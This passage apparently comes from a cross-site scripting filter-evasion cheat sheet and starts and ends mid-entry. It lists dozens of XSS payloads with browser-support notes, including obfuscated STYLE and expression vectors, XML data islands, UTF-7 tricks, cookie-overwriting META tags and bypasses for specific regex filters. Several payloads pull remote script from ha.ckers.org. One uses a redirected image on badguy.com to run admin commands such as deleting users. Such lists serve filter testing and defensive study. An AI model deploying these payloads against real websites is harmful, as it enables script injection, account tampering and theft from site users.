[NS8.1-G|FF1.5] [O8.54] DIV background-image: <DIV STYLE="background-image: url(javascript:alert('XSS'))"> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] DIV background-image with unicoded XSS exploit (this has been modified slightly to obfuscate the url parameter). The original vulnerability was found by Renaud Lifchitz as a vulnerability in Hotmail: <DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] DIV background-image plus extra characters. I built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8.13, 12288, 65279): <DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))"> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] DIV expression - a variant of this was effective against a real world cross site scripting filter using a newline between the colon and "expression": <DIV STYLE="width: expression(alert('XSS'));"> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] STYLE tags with broken up JavaScript for XSS (this XSS at times sends IE into an infinite loop of alerts): <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] STYLE attribute using a comment to break up expression (Thanks to Roman Ivanov for this one): <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Anonymous HTML with STYLE attribute (IE and Netscape 8.1+ in IE rendering engine mode don't really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter): <XSS STYLE="xss:expression(alert('XSS'))"> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] IMG STYLE with expression (this is really a hybrid of the above XSS vectors, but it really does show how hard STYLE tags can be to parse apart, like above this can send IE into a loop): exp/*<XSS STYLE='no\xss:noxss("*//*"); xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] STYLE tag (Older versions of Netscape only): <STYLE TYPE="text/javascript">alert('XSS');</STYLE> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] [NS4] STYLE tag using background-image: <STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] STYLE tag using background: <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Downlevel-Hidden block (only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode). Some websites consider anything inside a comment block to be safe and therefore does not need to be removed, which allows our Cross Site Scripting vector. Or the system could add comment tags around something to attempt to render it harmless. As we can see, that probably wouldn't do the job: <!--[if gte IE 4]> <SCRIPT>alert('XSS');</SCRIPT> <![endif]--> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] BASE tag. Works in IE and Netscape 8.1 in safe mode. You need the // to comment out the next characters so you won't get a JavaScript error and your XSS tag will render. Also, this relies on the fact that the website uses dynamically placed images like "images/image.jpg" rather than full paths. If the path includes a leading forward slash like "/images/image.jpg" you can remove one slash from this vector (as long as there are two to begin the comment this will work): <BASE HREF="javascript:alert('XSS');//"> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] OBJECT tag (if they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag). The linked file is actually an HTML file that can contain your XSS: <OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Using an OBJECT tag you can embed XSS directly (this is unverified so no browser support is added): <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT> Using an OBJECT tag you can embed a Flash movie that contains XSS: getURL("javascript:alert('XSS')") Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Using the above ActionScript inside flash can obfuscate your XSS vector: a="get"; b="URL(\""; c="javascript:"; d="alert('XSS');\")"; eval(a+b+c+d); Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] XML namespace. The htc file must be located on the same server as your XSS vector: <HTML xmlns:xss> <?import namespace="xss" implementation="http://ha.ckers.org/xss.htc"> <xss:xss>XSS</xss:xss> </HTML> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] XML data island with CDATA obfuscation (this XSS attack works only in IE and Netscape 8.1 in IE rendering engine mode) - vector found by Sec Consult while auditing Yahoo: <XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]> </C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] XML data island with comment obfuscation (this is another take on the same exploit that doesn't use CDATA fields, but rather uses comments to break up the javascript directive): <XML ID="xss"><I><B>&lt;IMG SRC="javas<!-- -->cript:alert('XSS')"&gt;</B></I></XML> <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Locally hosted XML with embedded JavaScript that is generated using an XML data island. This is the same as above but instead referrs to a locally hosted (must be on the same server) XML file that contains your cross site scripting vector. You can see the result here: <XML SRC="xsstest.xml" ID=I></XML> <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] HTML+TIME in XML. This is how Grey Magic hacked Hotmail and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work: <HTML><BODY> <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"> <?import namespace="t" implementation="#default#time2"> <t:set attributeName="innerHTML" to="XSS&lt;SCRIPT DEFER&gt;alert(&quot;XSS&quot;)&lt;/SCRIPT&gt;"> </BODY></HTML> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Assuming you can only fit in a few characters and it filters against ".js" you can rename your JavaScript file to an image as an XSS vector: <SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] SSI (Server Side Includes) requires SSI to be installed on the server to use this XSS vector. I probably don't need to mention this, but if you can run commands on the server there are no doubt much more serious issues: <!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://ha.ckers.org/xss.js></SCRIPT>'"--> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] PHP - requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts remotely like this, there are probably much more dire issues: <? echo('<SCR)'; echo('IPT>alert("XSS")</SCRIPT>'); ?> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] IMG Embedded commands - this works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain. This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc.... This is one of the lesser used but more useful XSS vectors: <IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] IMG Embedded commands part II - this is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal <IMG SRC="http://badguy.com/a.jpg"> could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this): Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Cookie manipulation - admittidly this is pretty obscure but I have seen a few examples where <META is allowed and you can use it to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim's cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc...): <META HTTP-EQUIV="Set-Cookie" Content="USERID=&lt;SCRIPT&gt;alert('XSS')&lt;/SCRIPT&gt;"> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] UTF-7 encoding - if the page that the XSS resides on doesn't provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov for this one). Click here for an example (you don't need the charset statement if the user's browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 in IE rendering engine mode). This does not work in any modern browser without changing the encoding type which is why it is marked as completely unsupported. Watchfire found this hole in Google's custom 404 script.: <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4- Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] XSS using HTML quote encapsulation: This was tested in IE, your mileage may vary. For performing XSS on sites that allow "<SCRIPT>" but don't allow "<SCRIPT SRC..." by way of a regex filter "/<script[^>]+src/i": <SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] For performing XSS on sites that allow "<SCRIPT>" but don't allow "<script src..." by way of a regex filter "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i" (this is an important one, because I've seen this regex in the wild): <SCRIPT =">" SRC="http://ha.ckers.org/xss.js"></SCRIPT> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Another XSS to evade the same filter, "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i": <SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT> Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] Yet another XSS to evade the same filter, "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i". I know I said I wasn't goint to discuss mitigation techniques but the only thing I've seen work for this XSS example if you still want to allow <SCRIPT> tags but not remote script is a state machine (and of course there are other ways to get around this if they allow <SCRIPT> tags): <SCRIPT "a='>'" SRC="http://ha.ckers